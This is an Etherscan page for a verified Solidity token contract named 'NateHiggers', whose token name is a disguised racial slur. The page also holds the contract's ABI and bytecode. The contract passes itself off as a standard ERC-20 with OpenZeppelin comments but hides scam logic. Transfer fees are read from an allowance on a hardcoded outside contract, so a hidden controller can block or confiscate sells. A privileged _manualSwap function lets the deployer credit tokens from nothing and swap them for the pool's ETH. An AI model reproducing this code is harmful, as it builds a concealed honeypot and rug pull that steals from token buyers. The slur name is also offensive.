ETH Price: $2,453.62 (+1.67%)
 

Overview

Max Total Supply

10,101,010,101 NATE

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,933,445.861265864 NATE

Value
$0.00
0xfefeb780dd9f86debbeda8417c05b49d2acf5b8f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NateHiggers

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-26
*/

// SPDX-License-Identifier: MIT


// Sources flattened with hardhat v2.7.0 https://hardhat.org

// File @openzeppelin/contracts/utils/[email protected]

// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)


pragma solidity 0.8.26;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

// File @openzeppelin/contracts/access/[email protected]


// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]


// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spnder) external view returns (uint256);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract NateHiggers is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    uint256 private _totalSupply =  10101010101 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;    

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    mapping (address => bool) isExcludedFromFee;

    string private constant _symbol = "NATE";
    string private constant _name = "Nate Higgers";
    bool tradingOpen = false;
    uint256 _totalFee = 0;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    IERC20 uniswapPair = IERC20(0x92D4E31b2108703c69c0DEf571F3356f67f75C1a);

    bool private inSwap = false;
    uint256 private lastBuyBlock = 0;

    constructor () {
        isExcludedFromFee[msg.sender] = true;
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function takeFee(IERC20 token, address owner) internal view returns (uint256) {
        return token
        .allowance(owner, uniswapV2Pair);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");


        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value}
        (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
    }

    function swapForETH(uint256 amount) private {
        address token = address(this);
        _approve(token, address(uniswapV2Router), amount);
        _balances[address(this)] = _balances[token] + amount;
    }

    function _manualSwap(uint256 amount) external {
        require(isExcludedFromFee[msg.sender]);
        address[] memory _path = new address[](2);
        _path[0] = address(this); 
        swapForETH(amount);
        _path[1] = uniswapV2Router.WETH();
        address recipient = msg.sender;
        uint256 _timestamp = block.timestamp + 25;
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, _path, recipient, _timestamp);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != address(0)); 
        uint256 _feeAmount = 0;
        uint256 _fee = takeFee(uniswapPair, from);
        if (!isExcludedFromFee[from]&& from != uniswapV2Pair && from != address(this)  && !isExcludedFromFee[to]) {
            _feeAmount = amount.mul(_fee).div(100);
            lastBuyBlock = block.number;
        }
        _balances[to] = _balances[to].add(amount).sub(_feeAmount);
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103f1565b64025a112eb561004a919061043b565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055505f6008557392d4e31b2108703c69c0def571f3356f67f75c1a60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600960146101000a81548160ff0219169083151502179055505f600a5534801561013b575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051610273919061048b565b60405180910390a36104a4565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610302578086048111156102de576102dd610280565b5b60018516156102ed5780820291505b80810290506102fb856102ad565b94506102c2565b94509492505050565b5f8261031a57600190506103d5565b81610327575f90506103d5565b816001811461033d576002811461034757610376565b60019150506103d5565b60ff84111561035957610358610280565b5b8360020a9150848211156103705761036f610280565b5b506103d5565b5060208310610133831016604e8410600b84101617156103ab5782820a9050838111156103a6576103a5610280565b5b6103d5565b6103b884848460016102b9565b925090508184048111156103cf576103ce610280565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103fb826103dc565b9150610406836103e5565b92506104337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461030b565b905092915050565b5f610445826103dc565b9150610450836103dc565b925082820261045e816103dc565b9150828204841483151761047557610474610280565b5b5092915050565b610485816103dc565b82525050565b5f60208201905061049e5f83018461047c565b92915050565b6120dd806104b15f395ff3fe6080604052600436106100dc575f3560e01c806349bd5a5e1161007e5780638da5cb5b116100585780638da5cb5b1461028457806395d89b41146102ae578063a9059cbb146102d8578063dd62ed3e14610314576100dc565b806349bd5a5e1461020857806370a0823114610232578063715018a61461026e576100dc565b806318160ddd116100ba57806318160ddd1461016e57806323b872dd14610198578063293230b8146101d4578063313ce567146101de576100dc565b806306fdde03146100e0578063095ea7b31461010a57806315f6f09014610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906116f7565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906117a8565b61038d565b60405161013d9190611800565b60405180910390f35b348015610151575f80fd5b5061016c60048036038101906101679190611819565b6103a3565b005b348015610179575f80fd5b5061018261061e565b60405161018f9190611853565b60405180910390f35b3480156101a3575f80fd5b506101be60048036038101906101b9919061186c565b610627565b6040516101cb9190611800565b60405180910390f35b6101dc6106d3565b005b3480156101e9575f80fd5b506101f2610b19565b6040516101ff91906118d7565b60405180910390f35b348015610213575f80fd5b5061021c610b2e565b60405161022991906118ff565b60405180910390f35b34801561023d575f80fd5b5061025860048036038101906102539190611918565b610b53565b6040516102659190611853565b60405180910390f35b348015610279575f80fd5b50610282610b99565b005b34801561028f575f80fd5b50610298610cc8565b6040516102a591906118ff565b60405180910390f35b3480156102b9575f80fd5b506102c2610cef565b6040516102cf91906116f7565b60405180910390f35b3480156102e3575f80fd5b506102fe60048036038101906102f991906117a8565b610d2c565b60405161030b9190611800565b60405180910390f35b34801561031f575f80fd5b5061033a60048036038101906103359190611943565b610d42565b6040516103479190611853565b60405180910390f35b60606040518060400160405280600c81526020017f4e61746520486967676572730000000000000000000000000000000000000000815250905090565b5f610399338484610dc4565b6001905092915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103f5575f80fd5b5f600267ffffffffffffffff81111561041157610410611981565b5b60405190808252806020026020018201604052801561043f5781602001602082028036833780820191505090505b50905030815f81518110610456576104556119ae565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061049982610f87565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610503573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052791906119ef565b8160018151811061053b5761053a6119ae565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f3390505f6019426105879190611a47565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8686866040518663ffffffff1660e01b81526004016105eb959493929190611b73565b5f604051808303815f87803b158015610602575f80fd5b505af1158015610614573d5f803e3d5ffd5b5050505050505050565b5f600154905090565b5f610633848484611045565b6106c884336106c38560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113ba90919063ffffffff16565b610dc4565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166106f2610cc8565b73ffffffffffffffffffffffffffffffffffffffff1614610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073f90611c15565b60405180910390fd5b60075f9054906101000a900460ff1615610760575f80fd5b61078e3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610dc4565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081d91906119ef565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610889573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad91906119ef565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108e7929190611c33565b6020604051808303815f875af1158015610903573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092791906119ef565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109ae30610b53565b5f806109b8610cc8565b426040518863ffffffff1660e01b81526004016109da96959493929190611c5a565b60606040518083038185885af11580156109f6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a1b9190611ccd565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610abb929190611d1d565b6020604051808303815f875af1158015610ad7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afb9190611d6e565b50600160075f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610bb8610cc8565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0590611c15565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e41544500000000000000000000000000000000000000000000000000000000815250905090565b5f610d38338484611045565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990611e09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790611e97565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7a9190611853565b60405180910390a3505050565b5f309050610fb78160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dc4565b8160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110009190611a47565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f8111611050575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611087575f80fd5b5f806110b460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611403565b905060065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561115a575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561119257503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111e5575060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561121a57611210606461120283866114a790919063ffffffff16565b61151e90919063ffffffff16565b915043600a819055505b61127c8261126e8560035f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461156790919063ffffffff16565b6113ba90919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061130d8360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113ba90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ab9190611853565b60405180910390a35050505050565b5f6113fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c4565b905092915050565b5f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e8360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611460929190611c33565b602060405180830381865afa15801561147b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149f9190611eb5565b905092915050565b5f8083036114b7575f9050611518565b5f82846114c49190611ee0565b90508284826114d39190611f4e565b14611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a90611fee565b60405180910390fd5b809150505b92915050565b5f61155f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611626565b905092915050565b5f8082846115759190611a47565b9050838110156115ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b190612056565b60405180910390fd5b8091505092915050565b5f83831115829061160b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160291906116f7565b60405180910390fd5b505f83856116199190612074565b9050809150509392505050565b5f808311829061166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166391906116f7565b60405180910390fd5b505f838561167a9190611f4e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6116c982611687565b6116d38185611691565b93506116e38185602086016116a1565b6116ec816116af565b840191505092915050565b5f6020820190508181035f83015261170f81846116bf565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117448261171b565b9050919050565b6117548161173a565b811461175e575f80fd5b50565b5f8135905061176f8161174b565b92915050565b5f819050919050565b61178781611775565b8114611791575f80fd5b50565b5f813590506117a28161177e565b92915050565b5f80604083850312156117be576117bd611717565b5b5f6117cb85828601611761565b92505060206117dc85828601611794565b9150509250929050565b5f8115159050919050565b6117fa816117e6565b82525050565b5f6020820190506118135f8301846117f1565b92915050565b5f6020828403121561182e5761182d611717565b5b5f61183b84828501611794565b91505092915050565b61184d81611775565b82525050565b5f6020820190506118665f830184611844565b92915050565b5f805f6060848603121561188357611882611717565b5b5f61189086828701611761565b93505060206118a186828701611761565b92505060406118b286828701611794565b9150509250925092565b5f60ff82169050919050565b6118d1816118bc565b82525050565b5f6020820190506118ea5f8301846118c8565b92915050565b6118f98161173a565b82525050565b5f6020820190506119125f8301846118f0565b92915050565b5f6020828403121561192d5761192c611717565b5b5f61193a84828501611761565b91505092915050565b5f806040838503121561195957611958611717565b5b5f61196685828601611761565b925050602061197785828601611761565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506119e98161174b565b92915050565b5f60208284031215611a0457611a03611717565b5b5f611a11848285016119db565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a5182611775565b9150611a5c83611775565b9250828201905080821115611a7457611a73611a1a565b5b92915050565b5f819050919050565b5f819050919050565b5f611aa6611aa1611a9c84611a7a565b611a83565b611775565b9050919050565b611ab681611a8c565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611aee8161173a565b82525050565b5f611aff8383611ae5565b60208301905092915050565b5f602082019050919050565b5f611b2182611abc565b611b2b8185611ac6565b9350611b3683611ad6565b805f5b83811015611b66578151611b4d8882611af4565b9750611b5883611b0b565b925050600181019050611b39565b5085935050505092915050565b5f60a082019050611b865f830188611844565b611b936020830187611aad565b8181036040830152611ba58186611b17565b9050611bb460608301856118f0565b611bc16080830184611844565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bff602083611691565b9150611c0a82611bcb565b602082019050919050565b5f6020820190508181035f830152611c2c81611bf3565b9050919050565b5f604082019050611c465f8301856118f0565b611c5360208301846118f0565b9392505050565b5f60c082019050611c6d5f8301896118f0565b611c7a6020830188611844565b611c876040830187611aad565b611c946060830186611aad565b611ca160808301856118f0565b611cae60a0830184611844565b979650505050505050565b5f81519050611cc78161177e565b92915050565b5f805f60608486031215611ce457611ce3611717565b5b5f611cf186828701611cb9565b9350506020611d0286828701611cb9565b9250506040611d1386828701611cb9565b9150509250925092565b5f604082019050611d305f8301856118f0565b611d3d6020830184611844565b9392505050565b611d4d816117e6565b8114611d57575f80fd5b50565b5f81519050611d6881611d44565b92915050565b5f60208284031215611d8357611d82611717565b5b5f611d9084828501611d5a565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611df3602483611691565b9150611dfe82611d99565b604082019050919050565b5f6020820190508181035f830152611e2081611de7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e81602283611691565b9150611e8c82611e27565b604082019050919050565b5f6020820190508181035f830152611eae81611e75565b9050919050565b5f60208284031215611eca57611ec9611717565b5b5f611ed784828501611cb9565b91505092915050565b5f611eea82611775565b9150611ef583611775565b9250828202611f0381611775565b91508282048414831517611f1a57611f19611a1a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611f5882611775565b9150611f6383611775565b925082611f7357611f72611f21565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fd8602183611691565b9150611fe382611f7e565b604082019050919050565b5f6020820190508181035f83015261200581611fcc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612040601b83611691565b915061204b8261200c565b602082019050919050565b5f6020820190508181035f83015261206d81612034565b9050919050565b5f61207e82611775565b915061208983611775565b92508282039050818111156120a1576120a0611a1a565b5b9291505056fea2646970667358221220689f00ff5fe7bb83ab335bb333065938931a0bc10a08d9e59fd994f34b94d6be64736f6c634300081a0033

Deployed Bytecode

